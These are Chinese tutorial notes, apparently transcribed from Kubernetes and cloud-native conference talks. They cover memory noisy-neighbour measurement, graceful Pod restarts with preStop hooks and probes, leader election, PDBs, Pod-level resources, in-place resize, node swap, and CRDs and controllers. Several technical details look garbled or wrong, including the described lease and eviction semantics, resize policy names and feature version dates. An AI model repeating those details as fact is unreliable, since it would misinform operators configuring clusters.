在本教程中,我们一起学习了 Open Agent Management Protocol 及其在管理 OpenTelemetry Collector 集群中的应用。我们介绍了 OpAMP 的基本原理、新特性(心跳、自定义消息、可用组件),深入探讨了 OpAMP Supervisor 的架构和优势,并演示了其如何实现远程配置和管理。最后,我们讨论了大规模部署面临的挑战以及 OpAMP 和 Supervisor 的未来发展计划。通过 OpAMP,我们可以更高效、更自动化地管理大规模的可观测性基础设施。

032:缺失的指标——测量云原生系统中的内存干扰

概述

在本节课中,我们将要学习云原生系统中一个关键但常被忽视的性能问题——“内存干扰邻居”。我们将探讨其定义、对应用性能的巨大影响、现有的硬件/软件缓解机制,以及一个旨在测量和解决此问题的开源项目。理解并解决内存干扰问题,是提升系统性能、降低成本、实现高效资源利用的关键一步。


什么是内存干扰邻居?🤔

我们的云原生应用最终运行在物理服务器上,这些应用必须共享服务器有限的资源。当出现“干扰邻居”时,一个应用会占用超过其公平份额的资源,导致其他应用无法获得所需资源,进而使其性能严重下降。

在本课程中,我们将主要讨论最后一级缓存(简称缓存)和内存带宽这两种资源的干扰。

缓存干扰是如何发生的?💥

通常,你的应用数据会存放在CPU的不同层级硬件缓存中。最热的工作集在L1缓存,而热、温、冷的工作集则分别在L2、L3缓存和主内存中。

当一个干扰邻居出现时,它会大量使用共享的L3缓存,并将你的应用数据从该缓存中驱逐出去。因此,当你的应用需要访问其温数据时,它不得不去访问主内存,而不是更快的L3缓存。

在更极端的情况下,如果干扰邻居运行在与你的应用相邻的超线程上,它甚至会将你的应用从L2缓存中驱逐。现在,你的应用必须去访问主内存,而原本它本可以访问快得多的L2缓存,速度差异可能高达50倍。这会导致应用性能显著下降。

在实践中,这种情况确实会发生。谷歌曾发布实验结果,他们在生产服务上使用不同的合成噪声生成器进行测试。你可以看到三个生产服务:网页搜索、在线机器学习文本分类系统和内存键值存储。他们发现,在不同系统负载下,性能下降幅度可达5倍到14倍。P95和P99延迟的退化是显著且剧烈的。

我们为何需要关注?📈

性能至关重要。亚马逊曾发布案例研究称,用户响应时间每增加100毫秒,他们就会损失1%的收入。多年来,有数十个案例研究都证实了这一结果。

其中一个我特别喜欢的案例来自日本在线杂货商Ray 1024。他们进行了一次A/B测试,运行两个功能完全相同但其中一个经过优化、速度快400毫秒的应用。结果令人震惊:更快的应用使用户人均收入增加了53%,跳出率降低了35%。

随着用户对功能的要求越来越高,我们的系统也变得越来越复杂。性能下降时,我们很容易归咎于复杂的“意大利面条式”代码或网络问题。但实际上,很多性能下降源于服务器上简单的资源争用,而我们对此缺乏可见性。这正是本次讨论的主题。

潜在的巨大收益 💰

想象一下,如果一小群工程师秘密创建了一种资源分配能力,使他们能在相同规模的服务器上多运行50%的事务,并将尾部延迟降低5到14倍。这听起来太棒了,不是吗?

事实上,这种能力确实存在,并且不是秘密开发的。十多年来,知名研究机构和超大规模云提供商已经发表了十几篇论文,探讨这种能力并详细说明了如何缓解这些“干扰邻居”。今天,我认为是时候让Kubernetes社区基于这项研究获得一个我们都能享用的解决方案了。

现有机制与测量方法 🛠️

现代CPU允许操作系统控制每个应用可以使用多少缓存和内存带宽。即使你的CPU不支持这些技术,你仍然可以通过将干扰邻居固定到少量核心上,并可能降低这些核心的频率,来限制它们对系统造成损害的能力。

我们经常被问到:容器不是应该做这个吗?我们期望容器能隔离工作负载,但今天它们并没有。这种性能隔离功能并未内置到我们的容器基础设施中。事实上,容器更擅长安全隔离,而非性能隔离。但并非没有希望,我们可以通过一个名为“资源控制”的不同子系统来访问这些机制,它可以通过Cgroups进行配置。

如何测量以形成闭环?📊

我们关心应用的服务时间,那么为什么不直接测量P95、P99,然后根据哪个应用的P95、P99不佳来调整资源分配呢?事实证明,这些测量本身就有噪声。首先,为了获得P95或P99的良好信号,我们至少需要测量几百个事务。这导致反应非常缓慢。

另一种方法是测量CPU效率。CPU希望执行一定数量的指令。如果存在大量内存争用,CPU必须等待内存,那么执行这些指令所需的周期数就会很大。如果没有太多内存争用,周期数就小。因此,每指令周期数这个比率可能是一个好的指标。

但问题在于,这个指标也很嘈杂,因为它测量了系统上发生的许多其他事情。而且这些系统最终会变得复杂,因为我们不知道一个好的“每指令周期数”值是多少。我们需要事先对应用进行分析。

然而,事实证明,谷歌自2013年起就在其所有共享集群上部署了这种类型的系统。另一种方法是直接测量内存争用本身,直接测量我们应用中内存带宽和缓存的利用率。然后,如果我们发现有人使用了超过其公平份额的资源,就限制他们。这实际上是一个很好的测量方法,也是我们开源收集器正在做的事情。

事实上,阿里巴巴发布信息称,他们拥有一个基于直接收集生产环境中内存争用事件的系统,截至2020年已在约百万核心上运行了两年多。

高频率测量的必要性 ⚡

如果我们想解决内存干扰邻居问题,就需要非常频繁的测量。下图模拟了之前看到的内存争用事件,以及底部每秒采样一次的内存指标。你可以看到,如果测量不够频繁,就会丢失所有信号。

因此,我们的收集器旨在以1毫秒的粒度进行测量。我们将其启动为一个Apache 2.0项目,名为“Unvariance Collector”,其理念是减少响应时间的方差。

收集器的架构与挑战 🏗️

我们希望在1毫秒内对所有运行中的核心进行测量,期望测量非常规律且质量高。但在实践中,我们会遇到“抖动”。有些核心响应这些定时器和进行测量可能需要更长的时间。

为了测量抖动,我们设置了1毫秒间隔的Linux高分辨率定时器。图表显示了每个核心响应定时器的时间与我们希望定时器触发的时间之间的差异。图表顶部的线表示响应最慢的核心。

我们发现在较小的系统上存在更多噪声,这可能是虚拟机管理程序带来的影响。这影响了我们构建收集器及其架构的方式。

收集器的工作原理 🔄

每当系统中有新的线程或任务产生时,收集器会为其分配一个资源监控ID。在应用程序之间的每次上下文切换时,收集器会告诉CPU当前哪个RMI ID是活跃的。你可以将其理解为给流量“着色”。

然后,每隔1毫秒,你可以询问CPU:你有多少蓝色字节?多少红色字节?缓存中有多少是蓝色或红色的?系统有数百种颜色可用,足以对应系统上的数百个容器。

所有这些以1毫秒为粒度的遥测数据,以及容器到RMI ID的分配信息,都会流入一个共享内存缓冲区。用户空间组件随后可以分析这些数据,并输出或采取行动。

当前进展与未来计划 🚀

我们目前的目标是将原始遥测数据输出到Parquet文件中,并开发良好的检测算法。想法是使用文件中的原始数据进行回测,以决定在任意给定时间谁是干扰邻居。

因此,我们目前正在寻找生产环境数据。我们正在构建合成工作负载,并寻找生产数据。如果你有一个可以运行收集器并共享数据的系统,我们非常乐意看到它,以便构建更好的检测器。

最终的想法是输出用于可观测性的检测统计信息。例如,这个Pod在1%的时间里是干扰邻居,那个Pod在1.5%的时间里是干扰邻居。有了这些对每1毫秒时间片的检测,我们希望能够通过配置资源控制来缓解干扰邻居问题。

关于开销的说明 ⚖️

我们设计的系统目标开销为0.1%,与流量处理在一条线上;而分析部分在用户空间,不在关键路径上,不会增加事务延迟。但即使开销较高,也几乎无关紧要。

假设你的服务平均响应时间从40毫秒增加到42毫秒,这是巨大的5%增长。我们的目标不是这样,我们目标是0.1%。但如果我们能将P95延迟从250毫秒降低到75毫秒,几乎每个与我交谈过的人都会说:是的,我们愿意做这个交换。当然,我们不会增加那么多开销,但这几乎不重要。

总结

本节课我们一起学习了云原生环境中的“内存干扰邻居”问题。我们了解到,当不同应用共享底层硬件资源时,一个资源密集型应用会通过争用缓存和内存带宽,显著降低其他关键应用的性能,导致尾部延迟飙升。

我们探讨了现有的硬件和操作系统机制,如缓存分配技术和内存带宽限制,它们有潜力缓解此问题,但目前在主流的容器编排平台中并未得到充分利用。关键在于缺乏高频率、精细粒度的测量手段来准确识别干扰源。

最后,我们介绍了一个开源项目,它旨在通过1毫秒级别的监控来检测内存干扰,并计划未来实现自动化的资源限制。解决内存干扰问题,能让我们在保持服务目标的同时,提高服务器利用率、降低运营成本,并允许产品团队更自由地增加功能,最终帮助我们更接近高性能、高成本效益和优秀用户体验的终极目标。

我们邀请所有人参与贡献,特别是如果你有可以贡献数据的测试或预生产集群,这将极大地帮助项目发展。希望这项工作能帮助我们更接近性能更好、成本更低、为用户提供更佳产品的理想状态。

033:你的 Pod 能在重启中存活吗?

在本教程中,我们将学习如何确保你的 Kubernetes Pod 能够优雅地处理重启。Pod 重启是 Kubernetes 的核心操作之一,但若处理不当,可能导致服务中断或数据不一致。我们将通过三种不同类型的应用示例,探讨如何减少重启带来的影响。

为什么重启很重要?🚀

上一节我们介绍了课程目标,本节中我们来看看为什么 Pod 重启是 Kubernetes 的核心特性。

Kubernetes 将应用视为“牲口”而非“宠物”。宠物应用需要特殊照料和手动干预,而 Kubernetes 为“牲口”式应用优化,其强大的自愈、滚动升级和扩缩容功能都依赖于重启机制。因此,确保应用具备重启能力至关重要。

Pod 重启并非单一场景,主要发生在三个层面:

  1. 容器层面:当容器退出或存活探针失败时,容器会被重启。
  2. 副本层面:当 Pod 被驱逐时,控制器会自动创建新 Pod 以维持期望的副本数。
  3. 部署层面:在滚动升级期间,Deployment 会先创建新 Pod,再终止旧 Pod。

基础应用:优雅终止 🛑

我们了解了重启的重要性,本节中我们来看看最简单场景下的 Pod 终止与重建流程。

假设我们有一个简单的 Deployment,它只定义了镜像和参数,没有处理任何信号。

apiVersion: apps/v1
kind: Deployment
metadata:
  name: simple-app
spec:
  replicas: 1
  template:
    spec:
      containers:
      - name: app
        image: myapp:latest
        args: ["--port=8080"]

当我们使用 kubectl delete pod 删除此 Pod 时,Kubernetes 会向其发送默认的停止信号 SIGTERM。如果应用不处理此信号,它会在默认的 30 秒宽限期内继续运行。宽限期结束后,Pod 会被 SIGKILL 强制停止。同时,运行的 Pod 数量低于期望值,因此会触发 Pod 重建,包括调度、拉取镜像和启动容器。

你可能会疑惑,为什么 Pod 在收到 SIGTERM 后还在运行?在容器世界中,应用通常作为 PID 1 进程运行。Linux 对 PID 1 进程有特殊处理,如果应用不处理 SIGTERM,信号会被忽略,进程会一直运行直到被 SIGKILL 终止。

这里存在一个问题:如果应用只是等待整个宽限期结束,会浪费计算资源。此外,如果应用有关闭任务(如关闭数据库连接或写回数据),突然的关闭可能导致请求失败和数据不一致。因此,处理停止信号并在宽限期结束前优雅关闭应用非常重要。

处理自定义停止信号 🎯

然而,有些应用使用不同的信号进行优雅关闭。例如,Nginx 期望 SIGQUIT 信号。如果你无法直接修改第三方应用的代码,有两种解决方案:Dockerfile 的 STOPSIGNAL 指令和 Kubernetes 的 preStop 钩子。

在 Dockerfile 中,你可以设置 STOPSIGNAL 来告知容器运行时你的应用期望接收哪种信号。

FROM nginx:alpine
STOPSIGNAL SIGQUIT

第二种方法是使用 preStop 生命周期钩子,它在容器开始关闭前运行。有以下几种选项:

以下是 preStop 钩子的几种实现方式:

  • Exec 钩子:你可以在容器内直接发送期望的信号,例如使用 kill -SIGQUIT 1。但这要求你的应用容器中包含 /bin/kill 命令。
  • HTTP 钩子:调用你应用提供的 HTTP 端点来触发关闭,适用于支持基于 HTTP 的优雅关闭的应用。
  • lifecycle.stopSignal:这是一个即将推出的特性,允许直接在 Pod 清单中指定自定义停止信号。它的作用类似于 Dockerfile 的 STOPSIGNAL,但无需重新构建镜像。

多容器 Pod 的关闭顺序 🔄

现在我们理解了单容器 Pod 的终止流程。但当你的 Pod 包含多个容器时会发生什么?

对于主容器,终止过程同时发生。但对于边车容器呢?边车容器设计模式(如日志代理)已存在多年,但作为原生 Kubernetes 功能的边车容器支持相对较新,并从 1.29 版本开始默认启用。此功能基于 init 容器,并且仅在重启策略设置为 Always 时应用。

以下是关闭过程:与主容器不同,边车容器按顺序关闭。一旦所有主容器退出,边车容器会一个接一个地收到停止信号,顺序与它们启动的顺序相反。例如,如果边车容器按 1、2、3 的顺序启动,则它们会按 3、2、1 的顺序停止。

需要注意的一点是,Pod 的宽限期由所有容器共享,因此要确保所有操作都能在此期限内完成。

宽限期的限制与挑战 ⚠️

到目前为止,我们学习了优雅关闭。然而,Pod 终止的宽限期并非总能得到保证。

当然,如果 Pod 因程序错误崩溃或被 OOM Killer 杀死,则没有宽限期。即使 Kubernetes 发起终止,宽限期有时也会被覆盖或忽略。例如,驱逐 API 可以覆盖此期限。如果你运行 kubectl drain 并指定 --grace-period=1 选项,Pod 将立即被终止,无论其 Pod 规格中的宽限期设置如何。

此外,当节点面临严重的资源压力时,kubelet 可能会发起驱逐以减少节点资源使用。在软驱逐中,宽限期被禁用;在硬驱逐中,Pod 会立即被驱逐,没有任何宽限期。

HTTP 服务器:实现零宕机重启 🌐

我们已经探讨了标准应用,但如何处理像 HTTP 服务器这样处理网络流量的应用呢?

让我们考虑一个带有 Service 的 Deployment。当你删除一个 Pod 时,Kubernetes 会发送停止信号,最终从路由表中移除该 Pod。新 Pod 启动,一旦标记为就绪,流量就会被定向到它。

然而,即使我们实现了优雅关闭,也不足以保证零宕机时间,我们仍然面临两个挑战。

让我们看看第一个问题。右侧的 Go 代码展示了一个典型的 HTTP 服务器:在收到 SIGTERM 后,调用 Shutdown 函数进行优雅关闭。此函数会继续处理现有请求,但停止监听新请求。这里有一个关键点:服务器停止监听新请求,但新的传入请求仍会被路由到你的 Pod,导致请求被丢弃。

为了避免这个问题,关闭应该延迟到 Kubernetes 停止将流量路由到该 Pod 之后。有几种方法可以实现这种延迟。一种是修改你的应用代码,在关闭逻辑前添加延迟。另一种方法是使用 preStop sleep。从 1.30 版本开始,此功能默认可用,因此你可以直接在 Pod 清单中设置休眠秒数。

让我们继续下一个挑战。如果 Pod 在启动后没有立即准备就绪,Kubernetes 会立即开始向其发送请求,这些请求可能会被丢弃。就绪探针可以解决这个问题。此探针检查应用是否实际准备好处理请求。Kubernetes 只会在该探针通过后才开始路由请求。

启动探针与就绪探针的配合 🧪

然而,仅使用就绪探针有其局限性,因为此探针在整个容器生命周期内持续检查状态,而不仅仅是在启动期间。通常,启动阶段和启动后阶段需要不同的阈值或间隔。如果你为启动阶段依赖就绪探针,可能会导致启动变慢或过于严格的健康检查。

这时启动探针就派上用场了。此探针仅在初始化阶段运行。一旦启动探针成功,就绪探针和存活探针就会接管。这种分离允许你为启动配置探针,而不会影响启动后的探针。

实践演示:对比与优化 🎬

接下来,让我们看看实际的重启行为。左侧是一个没有特殊设置的 Deployment 和 Service 清单。右侧是修正后的版本。Deployment 添加了 preStop 休眠和探针,确保流量平滑过渡,实现零宕机时间。

让我们先看看问题案例。屏幕上每个面板显示问题案例 Deployment 的 Pod 和 Service 端点。现在我将删除一个 Pod。查看日志,我们的服务器收到了 SIGTERM 并开始关闭。然而,上方的端点列表尚未更新,流量仍被定向到该 Pod,导致请求被丢弃。现在,Kubernetes 创建了一个新 Pod,路由已切换,但我们仍然看到失败,这是因为新服务器尚未准备好处理请求。

接下来,让我们看看如何避免这些问题。这是修正后的 Deployment 版本,它包含了 preStop 休眠和探针。现在,我再次删除一个 Pod。这次,由于 preStop 休眠了 3 秒,Kubernetes 在发送 SIGTERM 信号前等待了 3 秒。当旧 Pod 正在关闭时,新 Pod 被创建。就绪探针成功后,端点列表也随之更新。如你所见,流量无缝过渡,没有任何丢弃。最后,旧 Pod 收到 SIGTERM 并退出。通过应用 preStop 休眠和探针,我们可以最大限度地减少 Pod 终止/启动期间的宕机时间。

流量切换时机与副本策略 📊

我们已经介绍了重启期间的流量处理,但尚未触及流量切换的确切时机。

通常,kube-proxy 不会将流量发送到正在终止的 Pod,但如果其他端点都未就绪,流量仍会流向正在关闭的 Pod。这会根据副本数量和重启类型改变重启行为。

在多副本场景中,Kubernetes 几乎在 Pod 被删除后立即移除其端点。然后等待新 Pod,并在其就绪后添加端点。当然,旧 Pod 停止和新 Pod 就绪之间存在间隙,但这没关系,因为其他副本可以处理这些请求。

接下来,在滚动升级期间,新 Pod 会首先被创建。因此,无论副本数量如何,流量都会在新 Pod 标记为就绪时切换。请注意,流量不会在删除的同时停止。正确的组件(如端点控制器和 kube-proxy)都从 API 服务器异步获取结果状态并进行处理,因此可能存在延迟。

那么,单副本工作负载的情况如何?如前所述,如果没有其他就绪的端点,流量会持续流向正在终止的 Pod。如左侧所示,旧 Pod 在开始关闭后仍持续接收流量。一旦新 Pod 就绪,流量即被切换。通过这种平滑的流量切换,即使是单副本工作负载,我们也能避免重启期间的请求丢弃。然而,正如我们在之前的演示中所学,如果旧 Pod 结束得太快,新 Pod 可能无法及时接管请求,这仍然可能导致请求被丢弃。因此,设置足够的 preStop 休眠和探针非常重要。

接下来,让我们看看当单副本 Pod 的存活探针失败时会发生什么。在容器级别的重启中,所有事件按顺序发生,因此在它恢复之前会有一个短暂的空隙。与滚动升级情况不同,此时没有其他 Pod 可以接管流量。因此,在此间隙期间,请求会被丢弃。这就是为什么在某些情况下,对于单副本应用,我们无法避免宕机。因此,对于重要的应用,建议使用多副本。

控制器应用:领导者选举 ⚙️

我们已经学习了简单应用和 HTTP 服务器,但控制器应用呢?

我们可以将相同的方法应用于控制器,但有一个额外因素:领导者选举。通常,控制器会实现领导者选举以防止冲突的更新。因此,让我们聚焦于此。这里,我们将以 controller-runtime 库为例,这是一个常用的实现控制器的库。

在此库中,一旦控制器收到关闭信号且上下文被取消,宽限期开始。它会经历几个终止过程,最终停止续租领导权。然后其他候选者获得领导权。

那么,我们如何减少选举期间的干扰呢?在讨论优化技术之前,让我们先看看 Kubernetes 领导者选举的行为。Kubernetes 为领导者选举提供了 Lease 资源,每个候选者持续尝试更新此共享资源。首先成功更新者成为领导者。

以下是影响领导者过渡的两个关键参数:

  • leaseDurationSeconds:领导权在没有续租的情况下持续的最长时间。默认周期为 15 秒。
  • renewDeadlineSeconds:候选者尝试获取领导权的频率。默认间隔为 2 秒。

使用这些默认值,在最坏情况下,领导权接管可能需要 17 秒。你可能会想,我们可以调整较短的租约持续时间来减少接管时间,但设置过短的周期会增加脑裂风险,例如多个 Pod 同时认为自己是领导者。

那么,我们如何安全地减少这个时间呢?controller-runtime 库提供了一个名为 LeaderElectionReleaseOnCancel 的选项。启用此选项后,领导者会主动放弃领导权,而不是等待租约过期。在内部,管理器仅在终止时将 leaseDurationSeconds 更新为 1 秒。通过此配置,领导权过渡时间可以加快到 3 秒,同时保持终止外的默认设置。

总之,虽然需要注意脑裂风险,但临时的租约持续时间更新允许你安全地加速领导权过渡。

使用 Pod 中断预算管理自愿中断 📉

到目前为止,我们已经讨论了应用如何优雅地处理重启。但如果跨多个 Pod 的维护操作(如节点排水)影响了整个工作负载,我们如何最大限度地减少这些中断呢?

Pod 中断预算(PDB)可以限制这些自愿中断。右侧是一个包含两个副本的 Deployment 清单,并受到 PDB 保护。此 PDB 只允许一个 Pod 不可用。

在左侧的场景中,驱逐请求成功,因为它尊重了我们设置的预算。在右侧的场景中,驱逐请求被拒绝,因为另一个 Pod 正在终止,驱逐将超出预算。

通过这种方式,当你设置 PDB 时,它会拒绝违反中断预算的请求,从而减少中断。

PDB 的益处与局限 🤔

我们发现 PDB 有利于减少中断,但也存在一些局限性。

首先,与滚动升级不同,Pod 驱逐不会提前创建替换 Pod。因此,如果你希望在驱逐期间至少保留一个 Pod,你至少需要从两个正在运行的 Pod 开始。

其次,如果你将 PDB 设置得过于严格,它可能会永久性地阻塞驱逐请求。这在几种情况下会发生,例如工作负载只有一个副本、maxUnavailable 设置为 0,或者应用从未处于运行状态以进行备份等。这会使节点维护(如 kubectl drain)复杂化,并需要大量手动干预。

不健康 Pod 驱逐策略 🩺

我提到应用 Pod 也可能阻塞驱逐,Kubernetes 为此提供了解决方案。从 1.27 版本开始,Kubernetes 默认支持不健康 Pod 驱逐策略。

当你将此策略设置为 AlwaysAllow 时,不健康的 Pod 将不会阻塞驱逐请求。

最后,请记住 PDB 仅适用于驱逐 API 和 kubectl drain。当然,如果你直接删除 Pod,PDB 约束将不适用。此外,当调度器尝试抢占较低优先级的 Pod 以腾出节点空间时,它通常会遵循它发现的任何 PDB 约束。但如果找不到合适的候选者,抢占可能会忽略 PDB。

总结与要点 📝

本节课中我们一起学习了如何确保 Pod 在 Kubernetes 重启中存活的关键策略。

首先,确保你的应用能够处理 SIGTERM 并优雅关闭。如果需要其他信号,请使用 STOPSIGNALpreStop 钩子。同时,边车容器按其启动顺序的逆序终止。记住,Pod 终止的宽限期并非总能得到保证。

其次,preStop 休眠和探针有助于最大限度地减少流量宕机时间。这两个功能都支持在重启期间平滑转移流量。

第三,如果你的控制器使用领导者选举,你可以通过在管理器停止时仅设置较短的租约持续时间来加速接管时间,但需注意脑裂风险。

最后,PDB 可以在不失去操作灵活性的情况下减轻自愿中断的影响。

这些实践将帮助你的 Pod 对中断更加友好,并充分利用 Kubernetes 的自动化功能。

所有示例代码均可在演讲者的代码仓库中找到。

034:驯服野兽——高级资源管理 🐉

在本节课中,我们将学习Kubernetes中一系列新的高级资源管理功能。这些功能旨在帮助用户更好地控制和管理集群资源,特别是针对更复杂、有状态或资源需求多变的工作负载。我们将探讨Pod级别资源、原地资源调整以及节点交换支持等核心特性。


Pod级别资源 🧩

上一节我们介绍了资源管理的传统挑战,本节中我们来看看如何通过Pod级别资源来简化配置并提升灵活性。

传统上,Kubernetes要求在容器级别设置资源请求和限制。这可能导致资源过度配置,因为每个容器都需要根据其峰值使用量预留资源,从而造成节点级别的资源浪费。或者,也可能导致资源不足,影响应用程序性能。

Pod级别资源功能允许您在Pod级别设置总的资源请求和限制,而不是为每个容器单独设置。这使得容器可以在Pod内共享资源池。

以下是Pod级别资源的YAML配置示例:

apiVersion: v1
kind: Pod
metadata:
  name: example-pod
spec:
  # 资源定义在Pod级别
  resources:
    requests:
      memory: "64Mi"
      cpu: "250m"
    limits:
      memory: "128Mi"
      cpu: "500m"
  containers:
  - name: app
    image: nginx
    # 容器级别无需再定义resources
  - name: logger
    image: busybox
    command: ["sh", "-c", "while true; do echo logging; sleep 1; done"]

以下是Pod级别资源的主要优势:

  • 简化配置:无需为每个容器精心计算资源,减少了配置复杂性和出错可能性。
  • 灵活组合:您可以选择仅在Pod级别设置资源,或与容器级别资源混合使用,以满足不同需求。
  • 提升利用率:允许容器之间根据实际需求动态共享资源,特别适用于一个容器高负载、另一个低负载,且负载模式会翻转的场景。


原地资源调整 ⚙️

上一节我们学习了如何更灵活地定义资源,本节中我们来看看如何在不中断服务的情况下动态调整已运行Pod的资源。

对于有状态工作负载(如数据库),传统的资源变更需要重建Pod,这会造成服务中断和数据迁移的负担。原地资源调整功能允许您直接修改运行中Pod的资源请求和限制,而无需重启Pod。

该功能在Kubernetes 1.27版本升级为Beta,并在1.28版本默认启用。您可以直接编辑Pod的YAML文件或通过API更新资源字段。

原地资源调整支持两种策略:

  • RestartPolicy: 这是以前的默认行为,变更资源会导致容器重启。
  • RestartNotRequired (首选): 允许在不重启容器的情况下调整资源。但需注意,由于内核限制,内存缩容可能无法有效进行。

该功能可以与Pod级别资源结合使用。同时,它目前主要支持CPU和内存资源,扩展资源仍在开发中。此外,资源调整是原子性的;如果节点无法满足所有调整请求,整个请求将被拒绝。


节点交换支持 💾

上一节我们探讨了如何动态调整资源,本节中我们来看看如何利用交换空间来应对突发内存需求。

某些应用(如Java服务)在启动时内存需求很高,之后会下降。传统上,您必须为整个生命周期预留峰值内存,导致内存闲置。Kubernetes过去不支持交换空间,但现在正在开发节点交换支持功能。

该功能允许将Pod的可突发内存部分(即超过请求值但未超过限制值的内存)交换到磁盘。这有助于提高资源利用率,特别是在运行AI/机器学习等成本高昂的批处理作业时。

节点交换是一个节点级别的功能,需要在节点上启用。Kubernetes会根据原始内存使用量和交换使用量来做出调度和驱逐决策。目前,该功能尚未提供Pod级别的细粒度控制。

启用交换时需谨慎,因为它可能带来性能开销、磁盘活动激增以及安全考量。Kubernetes社区正在完善相关文档和最佳实践。


未来展望 🚀

Kubernetes因其能够“较好地运行大多数工作负载”而变得无处不在。随着工作负载格局的变化(从基础Web服务到有状态应用、批处理作业,再到AI/机器学习),Kubernetes需要不断演进以保持相关性。

未来的发展方向可能包括:

  • 引入Pod组概念: 为需要紧密耦合、协同定位的分布式批处理工作负载提供一级抽象,作为自定义调度器的基础构建块。
  • 进一步使Pod动态化: 探索在Pod运行时注入或移除容器的可能性,使资源调度和共享更加灵活。
  • 构建抽象层: 在Kubernetes对象之上定义标准化抽象层,以便各种批处理工作负载调度器可以更高效地运行。

这些演进旨在让大多数工作负载都能在Kubernetes上顺畅运行,而无需用户成为专家。


本节课中我们一起学习了Kubernetes在高级资源管理方面的关键进展:Pod级别资源简化了配置并提升了共享效率;原地资源调整实现了无需中断服务的资源动态变更;节点交换支持为突发内存需求提供了缓冲。这些特性共同助力用户更高效、更灵活地“驯服”Kubernetes资源管理这头“野兽”,以支持日益多样化和复杂化的云原生工作负载。

035:揭秘世界为何构建于 Kubernetes 之上

概述

在本节课中,我们将学习 Kubernetes 如何超越其作为容器编排器的传统角色,成为一个强大的 API 服务器和扩展平台。我们将重点探讨开发者如何通过自定义资源定义和控制器来扩展 Kubernetes 的功能,以满足组织的特定需求。


三种交互模型

Kubernetes 支持多种交互模型,理解这些模型有助于澄清不同用户如何使用它。

以下是三种主要的交互模型:

  1. 用户模型:这类用户关注在集群中运行的应用程序。他们使用 kubectl 等命令行工具来查看 Pod 状态、获取日志等。对他们而言,Kubernetes 是运行应用的基础设施。
  2. 管理员模型:这类用户更关注基础设施管理。他们负责创建节点、设置污点、升级 Kubernetes 本身,并制定 RBAC 等集群标准。
  3. 开发者模型:这类用户着眼于扩展 Kubernetes。他们不满足于开箱即用的功能,而是希望构建自定义逻辑,为团队和组织带来更多价值。

上一节我们介绍了 Kubernetes 的三种不同交互视角,本节中我们来看看其中最核心的扩展机制:自定义资源定义。


什么是 CRD?

CRD 代表 自定义资源定义。在 Kubernetes 中,资源代表一种期望状态。例如,一个 Deployment 资源定义了“我想要 3 个副本”的期望状态,集群会确保实际状态与之匹配。

我们熟知的原生 Kubernetes 资源包括 Deployment、Pod、Ingress、Service 等。

自定义 意味着开发者可以创建自己的资源类型并将其应用到 Kubernetes 中。这本质上是扩展了集群的 API。许多人认为,这是 Kubernetes 最强大的特性之一,因为它允许你以一种非常便捷的方式在其之上进行构建。


CRD 的结构

让我们具体看看 CRD 的构成。首先,它的结构与原生资源类似。

以下是一个简单的 CRD 示例结构:

apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
  name: widgets.example.com
spec:
  group: example.com
  versions:
    - name: v1
      served: true
      storage: true
      schema:
        openAPIV3Schema:
          type: object
          properties:
            spec:
              type: object
              properties:
                databaseName:
                  type: string
                size:
                  type: string
                environment:
                  type: string
                  enum: [dev, prod]
  scope: Namespaced
  names:
    plural: widgets
    singular: widget
    kind: Widget
    shortNames:
    - wg
  • API 版本和类型:与原生资源一样,包含 apiVersionkind
  • 元数据:包含名称等标准信息。
  • Spec 部分:这是核心,你在此处定义资源的模式。它基于 OpenAPI v3 模式,允许你定义字段类型(如字符串、整数、布尔值),并添加约束(如最小值、最大值、是否必需、枚举值)。这确保了数据完整性,因为不符合约束的资源将无法被 API 服务器接受。

你可以将 CRD 类比为 Java 中的类定义,而 自定义资源 则是该类的实例对象。

现在我们已经了解了如何定义新的资源类型,但仅仅定义它们并不会发生任何事情。接下来,我们需要一种机制来响应这些资源的创建和变更。


控制器:让资源“活”起来

自定义资源定义只是数据库中的一条记录。要让这些定义产生实际效果,需要 控制器

控制器本质上是一个应用程序,它作为 Pod 运行在集群中。它的作用是监听集群状态(即存储在 etcd 中的数据)和发生的事件,然后根据指令执行操作。

以下是控制器的工作原理:

  1. 监听触发器资源:控制器监听特定类型的资源(例如我们自定义的 Widget)。
  2. 生成待办事项:当触发器资源发生变化(创建、更新、删除)时,控制器会生成一个待办事项列表,例如“创建某物”、“更新某物”、“删除某物”。
  3. 执行操作:控制器执行这些操作,以协调期望状态与实际状态。

以 Kubernetes 内置的 Deployment 为例:

  • 你创建一个 Deployment 资源(一条数据库记录)。
  • Deployment 控制器 监听到这个新记录,它的待办事项是创建一个 ReplicaSet。
  • ReplicaSet 控制器 监听到新创建的 ReplicaSet,它的待办事项是创建指定数量的 Pod。
  • 最终,你得到了运行的 Pod,尽管你最初只定义了一个 Deployment。

这种链式反应体现了 Unix 哲学:每个组件只做好一件事,并通过组合完成复杂任务。

我们已经学习了如何通过 CRD 定义新资源,以及如何通过控制器响应这些资源。那么,如何将这两者结合起来,构建更高级的抽象呢?


构建平台 API:CRD 与控制器的结合

许多云原生项目(如 Crossplane)正是通过结合 CRD 和控制器来构建更高级的平台 API。

其工作流程通常如下:

  1. 定义一个代表平台服务(如数据库服务)的 CRD(称为“承诺”或 Promise)。
  2. 一个控制器监听这个 CRD。
  3. 当该 CRD 被创建时,控制器执行其待办事项,可能包括:
    • 创建另一个更具体的 CRD(作为服务请求的 API 端点)。
    • 创建或调用后端服务(可能运行在 Kubernetes 内或外)来实现该承诺。
  4. 另一个控制器监听新创建的具体 CRD,处理用户发起的服务请求。

通过这种方式,我们将底层的 CRD 和控制器抽象成了面向用户的 平台 API,简化了复杂基础设施的交付和管理。

在结束之前,让我们澄清一些关于 CRD 和控制器的常见误解,这有助于我们更准确地理解它们的潜力。


澄清常见误解

以下是几个需要澄清的关键点:

  1. 控制器仅管理 Kubernetes 资源?

    • 错误。控制器虽然运行在 Kubernetes 中并使用其 API,但它们完全可以管理集群外的资源。例如,许多控制器可以调用云提供商 API、管理裸金属服务器、虚拟机或边缘设备。这使你能够通过统一的 Kubernetes 控制平面来管理整个复杂环境中的基础设施。
  2. 必须使用 Go 语言编写控制器?

    • 错误。控制器只是一个运行在 Pod 里的应用程序。你可以使用任何编程语言来编写它。社区中已有多种 SDK 和框架:
      • Go: Operator SDK (最流行)
      • Java: Java Operator SDK
      • Python: Kopf, Pythonic Operator Framework
      • JavaScript/TypeScript: Node.js Operator Framework
      • Rust: kube-rs
        选择你熟悉的语言,可以大大提升开发体验和效率。
  3. 控制器和运算符是一回事吗?

    • 存在区别,但入门时不必纠结。可以这样类比:所有运算符都是控制器,但并非所有控制器都是运算符
